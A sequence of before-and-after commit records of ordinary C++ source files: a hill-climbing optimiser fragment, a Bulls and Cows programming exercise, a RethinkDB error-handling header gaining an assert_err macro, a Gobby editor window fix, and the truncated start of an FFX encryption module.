std::to_string(this->optimisationProblem_->getNumberOfDimensions()) + \").\");\n } else if (arma::any(maximalStepSize <= 0)) {\n throw std::logic_error(\"The maximal step size must be strict greater than 0.\");\n }\n\n maximalStepSize_ = maximalStepSize;\n }\n\n template <typename ParameterType, class DistanceFunction>\n std::string HillClimbing<ParameterType, DistanceFunction>::to_string() const noexcept {\n return \"HillClimbing\";\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::setDefaultMaximalStepSize(\n std::true_type) noexcept {\n setMaximalStepSize(this->distanceFunction_.getDistance(this->optimisationProblem_->getLowerBounds(), this->optimisationProblem_->getUpperBounds()) \/ 10.0);\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::setDefaultMaximalStepSize(\n std::false_type) noexcept {\n setMaximalStepSize(arma::max(arma::ones<arma::Col<unsigned int>>(this->optimisationProblem_->getNumberOfDimensions()), this->distanceFunction_.getDistance(this->optimisationProblem_->getLowerBounds(), this->optimisationProblem_->getUpperBounds()) \/ 10.0));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ 5.exercise.12.cpp\n\/\/\n\/\/ Implement a little guessing game called (for some obscure reason) \"Bulls and\n\/\/ Cows\". The program has a vector of four different integers in the range 0 to\n\/\/ 9 (e.g., 1234 but not 1122) and it is the user's task to discover those\n\/\/ numbers by repeated guesses. Say the number to be guessed is 1234 andd the\n\/\/ user guesses 1359; the response should be \"1 bull and 1 cow\" because the\n\/\/ user got one digit (1) right and in the right position (a bull) and one\n\/\/ digit (3) right but in the wrong position (a cow). The guessing continues\n\/\/ until the user gets four bulls, that is, has the four digits correct and in\n\/\/ the correct order.\n\n#include \"std_lib_facilities.h\"\n\nvector<int> _guess()\n\/\/ read a number from \n{\n}\n\nint main()\ntry\n{\n bool guessed = false;\n \/\/ Number to guess: 3461\n vector<int> digits = {3, 4, 6 , 1};\n int guess = 0;\n\n cout << \"Welcome to Bulls and Cows.\\n\"\n << \"Try to guess the four digit sequence I'm thinking about.\\n\"\n << \"No digit appears more than once and I will give you clues,\\n\"\n << \"with \\\"bulls\\\" being correct digits in the right position\\n\"\n << \"and \\\"cows\\\" being correct digits in wrong position.\\n\"\n << \"Let's start! Your guess ...\\n? \";\n\n while (!guessed) {\n while (cin >> guess) {\n \/\/ smallest and biggest combination of 4 distinct digits on [0, 9]\n if (guess >= 123 && guess <= 9876) {\n }\n else { \n cout \"Not a four digit number! Please try again.\\n? \";\n }\n }\n if (cin.eof()) {\n cout << \"Bye, bye!\\n\";\n return 0;\n } else {\n cout \"Not a four digit number! Please try again.\\n? \";\n }\n }\n}\ncatch (exception& e)\n{\n cout << \"Error: \" << e.what() << '\\n';\n return 1;\n}\ncatch (...)\n{\n cout << \"Unknown exception!\\n\";\n return 2;\n}\n<commit_msg>Advancing in exercise 12 from chapter 5<commit_after>\/\/ 5.exercise.12.cpp\n\/\/\n\/\/ Implement a little guessing game called (for some obscure reason) \"Bulls and\n\/\/ Cows\". The program has a vector of four different integers in the range 0 to\n\/\/ 9 (e.g., 1234 but not 1122) and it is the user's task to discover those\n\/\/ numbers by repeated guesses. Say the number to be guessed is 1234 andd the\n\/\/ user guesses 1359; the response should be \"1 bull and 1 cow\" because the\n\/\/ user got one digit (1) right and in the right position (a bull) and one\n\/\/ digit (3) right but in the wrong position (a cow). The guessing continues\n\/\/ until the user gets four bulls, that is, has the four digits correct and in\n\/\/ the correct order.\n\/\/\n\/\/ Comments:\n\/\/ String input is our best bet. The user input sould start by 0 (no one tell\n\/\/ us this isn't possible) and by reading an int we loose that leading 0 and \n\/\/ thus, we cannot determine if the user input has been 0123 (correct) or\n\/\/ 123 (wrong). Reading char by char, on the other hand, makes it more compicated.\n\n#include \"std_lib_facilities.h\"\n\nstatic const string ex_msg_no_four_digit = \"Your input is not a four digit number.\";\nstatic const string ex_msg_repeated_digits = \"You've enetered repeated digits. \"\n \"This way you're never going to guess it.\";\n\nbool check_input(const string& input)\n\/\/ Checks input to be a 4-unique-digit string.\n\/\/ Pre-conditions:\n\/\/ The length of the string must be exactly 4\n\/\/ Each character of the string must be an ASCII (or compatible, as ISO or UTF8)\n\/\/ value for chars from '0' to '9' (they are consecutive).\n\/\/ Each character of the string must be different\ntry\n{\n if (input.length() != 4) throw runtime_error(ex_msg_no_four_digit);\n\n for (size_t i = 0; i < input.length(); ++i)\n if (input[i] < '0' || input [i] > '9')\n throw runtime_error(ex_msg_no_four_digit);\n\n for (size_t i = 0; i < input.length(); ++i)\n for (size_t j = i + 1; j < input.length(); ++j)\n if (i != j && input[i] == input[j])\n throw runtime_error(ex_msg_repeated_digits);\n\n return true;\n}\ncatch (exception& e)\n{\n cout << e.what() << '\\n';\n return false;\n}\n\nint main()\ntry\n{\n bool guessed = false;\n \/\/ Number to guess: 3461\n vector<int> digits = {3, 4, 6 , 1};\n string input = \"\";\n vector<int> guess;\n\n cout << \"Welcome to Bulls and Cows.\\n\"\n << \"Try to guess the four digit sequence I'm thinking about.\\n\"\n << \"No digit appears more than once and I will give you clues,\\n\"\n << \"with \\\"bulls\\\" being correct digits in the right position\\n\"\n << \"and \\\"cows\\\" being correct digits in wrong position.\\n\"\n << \"Let's start! Your guess ...\\n? \";\n\n while (!guessed) {\n while (cin >> input) {\n if (check_input(input)) {\n \/\/guess = parse_input(input);\n cout << \"Correct input!\\n\";\n }\n else {\n cout << \"INCORRECT input!\\n\";\n }\n\n }\n if (cin.eof()) {\n cout << \"Bye, bye!\\n\";\n return 0;\n } \n }\n}\ncatch (exception& e)\n{\n cout << \"Error: \" << e.what() << '\\n';\n return 1;\n}\ncatch (...)\n{\n cout << \"Unknown exception!\\n\";\n return 2;\n}\n<|endoftext|>"} {"text":"<commit_before>\n#ifndef __ERRORS_HPP__\n#define __ERRORS_HPP__\n\n#include <errno.h>\n#include <stdio.h>\n#include <cstdlib>\n#include <signal.h>\n#include <stdexcept>\n\n\/* Error handling\n *\n * There are several ways to report errors in RethinkDB:\n * fail_due_to_user_error(msg, ...) fail and report line number\/stack trace. Should only be used when the user\n * is at fault (e.g. provided wrong database file name) and it is reasonable to\n * fail instead of handling the problem more gracefully.\n *\n * The following macros are used only for the cases of programmer error checking. For the time being they are also used\n * for system error checking (especially the *_err variants).\n *\n * crash(msg, ...) always fails and reports line number and such. Never returns.\n * crash_or_trap(msg, ...) same as above, but traps into debugger if it is present instead of terminating.\n * That means that it possibly can return, and one can continue stepping through the code in the debugger.\n * All off the assert\/guarantee functions use crash_or_trap.\n * assert(cond) makes sure cond is true and is a no-op in release mode\n * assert(cond, msg, ...) ditto, with additional message and possibly some arguments used for formatting\n * guarantee(cond) same as assert(cond), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee(cond, msg, ...) same as assert(cond, msg, ...), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee_err(cond) same as guarantee(cond), but also print errno error description\n * guarantee_err(cond, msg, ...) same as guarantee(cond, msg, ...), but also print errno error description\n*\/\n\n#ifdef __linux__\n#if defined __i386 || defined __x86_64\n#define BREAKPOINT __asm__ volatile (\"int3\")\n#else \/* x86\/amd64 *\/\n#define BREAKPOINT raise(SIGTRAP)\n#endif \/* x86\/amd64 *\/\n #endif \/* __linux__ *\/\n\n\/\/ TODO: Abort probably is not the right thing to do here.\n#define fail_due_to_user_error(msg, ...) do { \\\n report_user_error(msg, ##__VA_ARGS__); \\\n abort(); \\\n } while (0)\n\n#define crash(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n abort(); \\\n } while (0)\n\n#define crash_or_trap(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n BREAKPOINT; \\\n } while (0)\n\nvoid report_fatal_error(const char*, int, const char*, ...);\nvoid report_user_error(const char*, ...);\n\n#define stringify(x) #x\n\n#define format_assert_message(assert_type, cond) assert_type \" failed: [\" stringify(cond) \"] \"\n#define guarantee(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg); \\\n } \\\n } while (0)\n#define guarantee_err(cond, msg, args...) do { \\\n if (!(cond)) { \\\n if (errno == 0) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg); \\\n } else { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) \" (errno %d - %s) \" msg, errno, strerror(errno), ##args); \\\n } \\\n } \\\n } while (0)\n\n#define unreachable(msg, ...) crash(\"Unreachable code: \" msg, ##__VA_ARGS__) \/\/ can't use crash_or_trap since code needs to depend on its noreturn property\n#define not_implemented(msg, ...) crash_or_trap(\"Not implemented: \" msg, ##__VA_ARGS__)\n\n#define UNUSED(x) ((void) x)\n#ifdef NDEBUG\n#define assert(cond, msg...) ((void)(0))\n#else\n#define assert(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Assertion\", cond) msg); \\\n } \\\n } while (0)\n#endif\n\n\n#ifndef NDEBUG\nvoid print_backtrace(FILE *out = stderr, bool use_addr2line = true);\nchar *demangle_cpp_name(const char *mangled_name);\n#endif\n\n#endif \/* __ERRORS_HPP__ *\/\n<commit_msg>Added assert_err.<commit_after>\n#ifndef __ERRORS_HPP__\n#define __ERRORS_HPP__\n\n#include <errno.h>\n#include <stdio.h>\n#include <cstdlib>\n#include <signal.h>\n#include <stdexcept>\n\n\/* Error handling\n *\n * There are several ways to report errors in RethinkDB:\n * fail_due_to_user_error(msg, ...) fail and report line number\/stack trace. Should only be used when the user\n * is at fault (e.g. provided wrong database file name) and it is reasonable to\n * fail instead of handling the problem more gracefully.\n *\n * The following macros are used only for the cases of programmer error checking. For the time being they are also used\n * for system error checking (especially the *_err variants).\n *\n * crash(msg, ...) always fails and reports line number and such. Never returns.\n * crash_or_trap(msg, ...) same as above, but traps into debugger if it is present instead of terminating.\n * That means that it possibly can return, and one can continue stepping through the code in the debugger.\n * All off the assert\/guarantee functions use crash_or_trap.\n * assert(cond) makes sure cond is true and is a no-op in release mode\n * assert(cond, msg, ...) ditto, with additional message and possibly some arguments used for formatting\n * assert_err(cond) same as assert(cond), but also print errno error description\n * assert_err(cond, msg, ...) same as assert(cond, msg, ...), but also print errno error description\n * guarantee(cond) same as assert(cond), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee(cond, msg, ...) same as assert(cond, msg, ...), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee_err(cond) same as guarantee(cond), but also print errno error description\n * guarantee_err(cond, msg, ...) same as guarantee(cond, msg, ...), but also print errno error description\n*\/\n\n#ifdef __linux__\n#if defined __i386 || defined __x86_64\n#define BREAKPOINT __asm__ volatile (\"int3\")\n#else \/* x86\/amd64 *\/\n#define BREAKPOINT raise(SIGTRAP)\n#endif \/* x86\/amd64 *\/\n #endif \/* __linux__ *\/\n\n\/\/ TODO: Abort probably is not the right thing to do here.\n#define fail_due_to_user_error(msg, ...) do { \\\n report_user_error(msg, ##__VA_ARGS__); \\\n abort(); \\\n } while (0)\n\n#define crash(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n abort(); \\\n } while (0)\n\n#define crash_or_trap(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n BREAKPOINT; \\\n } while (0)\n\nvoid report_fatal_error(const char*, int, const char*, ...);\nvoid report_user_error(const char*, ...);\n\n#define stringify(x) #x\n\n#define format_assert_message(assert_type, cond) assert_type \" failed: [\" stringify(cond) \"] \"\n#define guarantee(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg); \\\n } \\\n } while (0)\n#define guarantee_err(cond, msg, args...) do { \\\n if (!(cond)) { \\\n if (errno == 0) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg); \\\n } else { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) \" (errno %d - %s) \" msg, errno, strerror(errno), ##args); \\\n } \\\n } \\\n } while (0)\n\n#define unreachable(msg, ...) crash(\"Unreachable code: \" msg, ##__VA_ARGS__) \/\/ can't use crash_or_trap since code needs to depend on its noreturn property\n#define not_implemented(msg, ...) crash_or_trap(\"Not implemented: \" msg, ##__VA_ARGS__)\n\n#define UNUSED(x) ((void) x)\n#ifdef NDEBUG\n#define assert(cond, msg...) ((void)(0))\n#define assert_err(cond, msg...) ((void)(0))\n#else\n#define assert(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Assertion\", cond) msg); \\\n } \\\n } while (0)\n#define assert_err(cond, msg, args...) do { \\\n if (!(cond)) { \\\n if (errno == 0) { \\\n crash_or_trap(format_assert_message(\"Assert\", cond) msg); \\\n } else { \\\n crash_or_trap(format_assert_message(\"Assert\", cond) \" (errno %d - %s) \" msg, errno, strerror(errno), ##args); \\\n } \\\n } \\\n } while (0)\n#endif\n\n\n#ifndef NDEBUG\nvoid print_backtrace(FILE *out = stderr, bool use_addr2line = true);\nchar *demangle_cpp_name(const char *mangled_name);\n#endif\n\n#endif \/* __ERRORS_HPP__ *\/\n<|endoftext|>"} {"text":"<commit_before>\/* Gobby - GTK-based collaborative text editor\n * Copyright (C) 2008, 2009 Armin Burgmeier <armin@arbur.net>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public\n * License along with this program; if not, write to the Free\n * Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n#include \"features.hpp\"\n#include \"window.hpp\"\n\n#include \"commands\/file-tasks\/task-open-multiple.hpp\"\n#include \"core\/docwindow.hpp\"\n#include \"core\/iconmanager.hpp\"\n#include \"core\/noteplugin.hpp\"\n#include \"core\/closableframe.hpp\"\n\n#include \"util\/i18n.hpp\"\n\n#include <gtkmm\/frame.h>\n\nGobby::Window::Window(const IconManager& icon_mgr,\n\t Config& config,\n\t UniqueApp* app):\n\tGtk::Window(Gtk::WINDOW_TOPLEVEL), m_config(config),\n\tm_lang_manager(gtk_source_language_manager_get_default()),\n\tm_preferences(m_config), m_icon_mgr(icon_mgr), m_app(app),\n\tm_header(m_preferences, m_lang_manager),\n\tm_browser(*this, Plugins::TEXT, m_statusbar, m_preferences),\n\tm_folder(m_preferences, m_lang_manager),\n\tm_statusbar(m_folder, m_preferences),\n\tm_info_storage(INF_GTK_BROWSER_MODEL(m_browser.get_store())),\n\tm_operations(m_info_storage, m_statusbar), \n\tm_commands_autosave(m_folder, m_operations, m_info_storage,\n\t m_preferences),\n\tm_commands_browser(m_browser, m_folder, m_info_storage, m_statusbar,\n\t m_preferences),\n\tm_commands_browser_context(*this, m_browser, m_file_chooser,\n\t m_operations, m_preferences),\n\tm_commands_folder(m_folder),\n\tm_commands_file(*this, m_header, m_browser, m_folder, m_statusbar,\n\t m_file_chooser, m_operations, m_info_storage,\n\t m_preferences),\n\tm_commands_edit(*this, m_header, m_folder, m_statusbar,\n\t m_preferences),\n\tm_commands_view(m_header, m_folder, m_preferences),\n\tm_commands_help(*this, m_header, m_icon_mgr),\n\tm_title_bar(*this, m_folder)\n{\n\tg_object_ref(app);\n\n\tunique_app_watch_window(app, gobj());\n\tg_signal_connect(app, \"message-received\",\n\t G_CALLBACK(on_message_received_static), this);\n\n\tm_header.show();\n\tm_browser.show();\n\tm_folder.show();\n\n\t\/\/ Build UI\n\tadd_accel_group(m_header.get_accel_group() );\n\n\tGtk::Frame* frame_browser = Gtk::manage(new ClosableFrame(\n\t\t_(\"Document Browser\"), IconManager::STOCK_DOCLIST,\n\t\tm_preferences.appearance.show_browser));\n\tframe_browser->set_shadow_type(Gtk::SHADOW_IN);\n\tframe_browser->add(m_browser);\n\t\/\/ frame_browser manages visibility itself\n\n\tGtk::Frame* frame_text = Gtk::manage(new Gtk::Frame);\n\tframe_text->set_shadow_type(Gtk::SHADOW_IN);\n\tframe_text->add(m_folder);\n\tframe_text->show();\n\n\tm_paned.pack1(*frame_browser, false, false);\n\tm_paned.pack2(*frame_text, true, false);\n\tm_paned.show();\n\n\tm_mainbox.pack_start(m_header, Gtk::PACK_SHRINK);\n\tm_mainbox.pack_start(m_paned, Gtk::PACK_EXPAND_WIDGET);\n\tm_mainbox.pack_start(m_statusbar, Gtk::PACK_SHRINK);\n\tm_mainbox.show();\n\n\t\/\/ Give initial focus to the browser, which will in turn give focus\n\t\/\/ to the \"Direct Connection\" expander, so people can quickly\n\t\/\/ get going.\n\tset_focus_child(m_browser);\n\tadd(m_mainbox);\n\n\tset_default_size(800, 600);\n\tset_role(\"Gobby\");\n}\n\nGobby::Window::~Window()\n{\n\t\/\/ Serialise preferences into config\n\tm_preferences.serialize(m_config);\n\tg_object_unref(m_app);\n}\n\nbool Gobby::Window::on_delete_event(GdkEventAny* event)\n{\n#if 0\n\tif(m_buffer.get() == NULL) return false;\n\tif(!m_buffer->is_open() ) return false;\n\n\tGtk::MessageDialog dlg(\n\t\t*this,\n\t\t_(\"You are still connected to a session\"),\n\t\tfalse,\n\t\tGtk::MESSAGE_WARNING,\n\t\tGtk::BUTTONS_NONE,\n\t\ttrue\n\t);\n\n\tdlg.set_secondary_text(\n\t\t_(\"Do you want to close Gobby nevertheless?\")\n\t);\n\n\tGtk::Image* img = Gtk::manage(new Gtk::Image(Gtk::Stock::CANCEL,\n\t Gtk::ICON_SIZE_BUTTON));\n\tGtk::Button* cancel_button\n\t\t= dlg.add_button(_(\"C_ancel\"), Gtk::RESPONSE_CANCEL);\n\tdlg.add_button(Gtk::Stock::CLOSE, Gtk::RESPONSE_YES);\n\tcancel_button->set_image(*img);\n\tcancel_button->grab_focus();\n\n\treturn dlg.run() != Gtk::RESPONSE_YES;\n#endif\n\treturn false;\n}\n\n\/\/ GtkWindow catches keybindings for the menu items _before_ passing them to\n\/\/ the focused widget. This is unfortunate and means that pressing ctrl+V\n\/\/ in an entry on the browser ends up pasting text in the TextView.\n\/\/ Here we override GtkWindow's handler to do the same things that it\n\/\/ does, but in the opposite order and then we chain up to the grand\n\/\/ parent handler, skipping Gtk::Window::key_press_event().\n\/\/ This code is basically stolen from gedit, but ported to C++.\nbool Gobby::Window::on_key_press_event(GdkEventKey* event)\n{\n\t\/\/ We can't let GtkSourceView handle this, since we override\n\t\/\/ Undo\/Redo. TODO: This is a bit of a hack. A proper solution would\n\t\/\/ perhaps be to subclass GtkSourceView, and either\n\t\/\/ unregister\/reregister the keybinding there, or making sure the\n\t\/\/ key-press-event default handler returns false.\n\tif(event->keyval == GDK_z || event->keyval == GDK_Z)\n\t\treturn Gtk::Window::on_key_press_event(event);\n\n\tbool handled = gtk_window_propagate_key_event(gobj(), event);\n\tif(!handled) handled = gtk_window_activate_key(gobj(), event);\n\n\t\/\/ Skip Gtk::Window default handler here:\n\tif(!handled) handled = Gtk::Container::on_key_press_event(event);\n\n\treturn handled;\n}\n\nvoid Gobby::Window::on_realize()\n{\n\tGtk::Window::on_realize();\n\n\tm_paned.set_position(m_paned.get_width() * 2 \/ 5);\n}\n\nvoid Gobby::Window::on_show()\n{\n\tGtk::Window::on_show();\n\n\tif(!m_config.get_root()[\"initial\"].get_value<bool>(\"run\", false))\n\t{\n\t\tm_initial_dlg.reset(new InitialDialog(*this, m_preferences,\n\t\t m_icon_mgr));\n\t\tm_initial_dlg->present();\n\t\tm_initial_dlg->signal_hide().connect(\n\t\t\tsigc::mem_fun(*this,\n\t\t\t &Window::on_initial_dialog_hide));\n\t}\n}\n\nvoid Gobby::Window::on_initial_dialog_hide()\n{\n\tm_initial_dlg.reset(NULL);\n\t\/\/ Don't show again\n\tm_config.get_root()[\"initial\"].set_value(\"run\", true);\n}\n\nUniqueResponse Gobby::Window::on_message_received(UniqueCommand command,\n UniqueMessageData* message,\n guint time)\ntry {\n\tUniqueResponse res;\n\tswitch (command) {\n\tcase UNIQUE_ACTIVATE:\n\t\tgtk_window_set_screen(gobj(),\n\t\t\t\t\t\t\t\t\t\t\t\t\tunique_message_data_get_screen(message));\n\t\tpresent(time);\n\t\treturn UNIQUE_RESPONSE_OK;\n\tcase UNIQUE_OPEN:\n\t\t{\n\t\t\tgchar** uris = unique_message_data_get_uris(message);\n\t\t\tif (!uris)\n\t\t\t\treturn UNIQUE_RESPONSE_FAIL;\n\t\t\tTaskOpenMultiple* task = new TaskOpenMultiple(m_commands_file);\n\t\t\tm_commands_file.set_task(task);\n\t\t\tfor (const gchar* const* p = uris; *p; ++p)\n\t\t\t\ttask->add_file(Gio::File::create_for_uri(*p));\n\t\t\tg_strfreev(uris);\n\t\t\treturn UNIQUE_RESPONSE_OK;\n\t\t}\n\tdefault:\n\t\treturn UNIQUE_RESPONSE_PASSTHROUGH;\n\t}\n} catch (...) {\n g_assert_not_reached();\n}\n<commit_msg>uniqueapp command handler: return\/unused variable<commit_after>\/* Gobby - GTK-based collaborative text editor\n * Copyright (C) 2008, 2009 Armin Burgmeier <armin@arbur.net>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public\n * License along with this program; if not, write to the Free\n * Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n#include \"features.hpp\"\n#include \"window.hpp\"\n\n#include \"commands\/file-tasks\/task-open-multiple.hpp\"\n#include \"core\/docwindow.hpp\"\n#include \"core\/iconmanager.hpp\"\n#include \"core\/noteplugin.hpp\"\n#include \"core\/closableframe.hpp\"\n\n#include \"util\/i18n.hpp\"\n\n#include <gtkmm\/frame.h>\n\nGobby::Window::Window(const IconManager& icon_mgr,\n\t Config& config,\n\t UniqueApp* app):\n\tGtk::Window(Gtk::WINDOW_TOPLEVEL), m_config(config),\n\tm_lang_manager(gtk_source_language_manager_get_default()),\n\tm_preferences(m_config), m_icon_mgr(icon_mgr), m_app(app),\n\tm_header(m_preferences, m_lang_manager),\n\tm_browser(*this, Plugins::TEXT, m_statusbar, m_preferences),\n\tm_folder(m_preferences, m_lang_manager),\n\tm_statusbar(m_folder, m_preferences),\n\tm_info_storage(INF_GTK_BROWSER_MODEL(m_browser.get_store())),\n\tm_operations(m_info_storage, m_statusbar), \n\tm_commands_autosave(m_folder, m_operations, m_info_storage,\n\t m_preferences),\n\tm_commands_browser(m_browser, m_folder, m_info_storage, m_statusbar,\n\t m_preferences),\n\tm_commands_browser_context(*this, m_browser, m_file_chooser,\n\t m_operations, m_preferences),\n\tm_commands_folder(m_folder),\n\tm_commands_file(*this, m_header, m_browser, m_folder, m_statusbar,\n\t m_file_chooser, m_operations, m_info_storage,\n\t m_preferences),\n\tm_commands_edit(*this, m_header, m_folder, m_statusbar,\n\t m_preferences),\n\tm_commands_view(m_header, m_folder, m_preferences),\n\tm_commands_help(*this, m_header, m_icon_mgr),\n\tm_title_bar(*this, m_folder)\n{\n\tg_object_ref(app);\n\n\tunique_app_watch_window(app, gobj());\n\tg_signal_connect(app, \"message-received\",\n\t G_CALLBACK(on_message_received_static), this);\n\n\tm_header.show();\n\tm_browser.show();\n\tm_folder.show();\n\n\t\/\/ Build UI\n\tadd_accel_group(m_header.get_accel_group() );\n\n\tGtk::Frame* frame_browser = Gtk::manage(new ClosableFrame(\n\t\t_(\"Document Browser\"), IconManager::STOCK_DOCLIST,\n\t\tm_preferences.appearance.show_browser));\n\tframe_browser->set_shadow_type(Gtk::SHADOW_IN);\n\tframe_browser->add(m_browser);\n\t\/\/ frame_browser manages visibility itself\n\n\tGtk::Frame* frame_text = Gtk::manage(new Gtk::Frame);\n\tframe_text->set_shadow_type(Gtk::SHADOW_IN);\n\tframe_text->add(m_folder);\n\tframe_text->show();\n\n\tm_paned.pack1(*frame_browser, false, false);\n\tm_paned.pack2(*frame_text, true, false);\n\tm_paned.show();\n\n\tm_mainbox.pack_start(m_header, Gtk::PACK_SHRINK);\n\tm_mainbox.pack_start(m_paned, Gtk::PACK_EXPAND_WIDGET);\n\tm_mainbox.pack_start(m_statusbar, Gtk::PACK_SHRINK);\n\tm_mainbox.show();\n\n\t\/\/ Give initial focus to the browser, which will in turn give focus\n\t\/\/ to the \"Direct Connection\" expander, so people can quickly\n\t\/\/ get going.\n\tset_focus_child(m_browser);\n\tadd(m_mainbox);\n\n\tset_default_size(800, 600);\n\tset_role(\"Gobby\");\n}\n\nGobby::Window::~Window()\n{\n\t\/\/ Serialise preferences into config\n\tm_preferences.serialize(m_config);\n\tg_object_unref(m_app);\n}\n\nbool Gobby::Window::on_delete_event(GdkEventAny* event)\n{\n#if 0\n\tif(m_buffer.get() == NULL) return false;\n\tif(!m_buffer->is_open() ) return false;\n\n\tGtk::MessageDialog dlg(\n\t\t*this,\n\t\t_(\"You are still connected to a session\"),\n\t\tfalse,\n\t\tGtk::MESSAGE_WARNING,\n\t\tGtk::BUTTONS_NONE,\n\t\ttrue\n\t);\n\n\tdlg.set_secondary_text(\n\t\t_(\"Do you want to close Gobby nevertheless?\")\n\t);\n\n\tGtk::Image* img = Gtk::manage(new Gtk::Image(Gtk::Stock::CANCEL,\n\t Gtk::ICON_SIZE_BUTTON));\n\tGtk::Button* cancel_button\n\t\t= dlg.add_button(_(\"C_ancel\"), Gtk::RESPONSE_CANCEL);\n\tdlg.add_button(Gtk::Stock::CLOSE, Gtk::RESPONSE_YES);\n\tcancel_button->set_image(*img);\n\tcancel_button->grab_focus();\n\n\treturn dlg.run() != Gtk::RESPONSE_YES;\n#endif\n\treturn false;\n}\n\n\/\/ GtkWindow catches keybindings for the menu items _before_ passing them to\n\/\/ the focused widget. This is unfortunate and means that pressing ctrl+V\n\/\/ in an entry on the browser ends up pasting text in the TextView.\n\/\/ Here we override GtkWindow's handler to do the same things that it\n\/\/ does, but in the opposite order and then we chain up to the grand\n\/\/ parent handler, skipping Gtk::Window::key_press_event().\n\/\/ This code is basically stolen from gedit, but ported to C++.\nbool Gobby::Window::on_key_press_event(GdkEventKey* event)\n{\n\t\/\/ We can't let GtkSourceView handle this, since we override\n\t\/\/ Undo\/Redo. TODO: This is a bit of a hack. A proper solution would\n\t\/\/ perhaps be to subclass GtkSourceView, and either\n\t\/\/ unregister\/reregister the keybinding there, or making sure the\n\t\/\/ key-press-event default handler returns false.\n\tif(event->keyval == GDK_z || event->keyval == GDK_Z)\n\t\treturn Gtk::Window::on_key_press_event(event);\n\n\tbool handled = gtk_window_propagate_key_event(gobj(), event);\n\tif(!handled) handled = gtk_window_activate_key(gobj(), event);\n\n\t\/\/ Skip Gtk::Window default handler here:\n\tif(!handled) handled = Gtk::Container::on_key_press_event(event);\n\n\treturn handled;\n}\n\nvoid Gobby::Window::on_realize()\n{\n\tGtk::Window::on_realize();\n\n\tm_paned.set_position(m_paned.get_width() * 2 \/ 5);\n}\n\nvoid Gobby::Window::on_show()\n{\n\tGtk::Window::on_show();\n\n\tif(!m_config.get_root()[\"initial\"].get_value<bool>(\"run\", false))\n\t{\n\t\tm_initial_dlg.reset(new InitialDialog(*this, m_preferences,\n\t\t m_icon_mgr));\n\t\tm_initial_dlg->present();\n\t\tm_initial_dlg->signal_hide().connect(\n\t\t\tsigc::mem_fun(*this,\n\t\t\t &Window::on_initial_dialog_hide));\n\t}\n}\n\nvoid Gobby::Window::on_initial_dialog_hide()\n{\n\tm_initial_dlg.reset(NULL);\n\t\/\/ Don't show again\n\tm_config.get_root()[\"initial\"].set_value(\"run\", true);\n}\n\nUniqueResponse Gobby::Window::on_message_received(UniqueCommand command,\n UniqueMessageData* message,\n guint time)\ntry {\n\tswitch (command) {\n\tcase UNIQUE_ACTIVATE:\n\t\tgtk_window_set_screen(gobj(),\n\t\t\t\t\t\t\t\t\t\t\t\t\tunique_message_data_get_screen(message));\n\t\tpresent(time);\n\t\treturn UNIQUE_RESPONSE_OK;\n\tcase UNIQUE_OPEN:\n\t\t{\n\t\t\tgchar** uris = unique_message_data_get_uris(message);\n\t\t\tif (!uris)\n\t\t\t\treturn UNIQUE_RESPONSE_FAIL;\n\t\t\tTaskOpenMultiple* task = new TaskOpenMultiple(m_commands_file);\n\t\t\tm_commands_file.set_task(task);\n\t\t\tfor (const gchar* const* p = uris; *p; ++p)\n\t\t\t\ttask->add_file(Gio::File::create_for_uri(*p));\n\t\t\tg_strfreev(uris);\n\t\t\treturn UNIQUE_RESPONSE_OK;\n\t\t}\n\tdefault:\n\t\treturn UNIQUE_RESPONSE_PASSTHROUGH;\n\t}\n} catch (...) {\n\tg_assert_not_reached();\n\treturn UNIQUE_RESPONSE_FAIL;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * See ffx.h for details.\n *\n * References:\n * [FFX2] http:\/\/csrc.nist.gov\/groups\/ST\/toolkit\/BCM\/documents\/proposedmodes\/ffx\/ffx-spec2.pdf\n *\/\n\n#include \"ffx\/ffx.h\"\n\n#include <math.h>\n\n#include <string>\n\n#include \"third_party\/aes\/aes.h\"\n\nnamespace ffx {\n\nstatic bool ValidateKey(const std::string & key) {\n if (key.length() != kFfxKeyLengthInNibbles) {\n return false;\n }\n for (uint32_t i = 0; i < key.length(); ++i) {\n if (isxdigit(key[i])) {\n continue;\n } else {\n return false;\n }\n }\n return 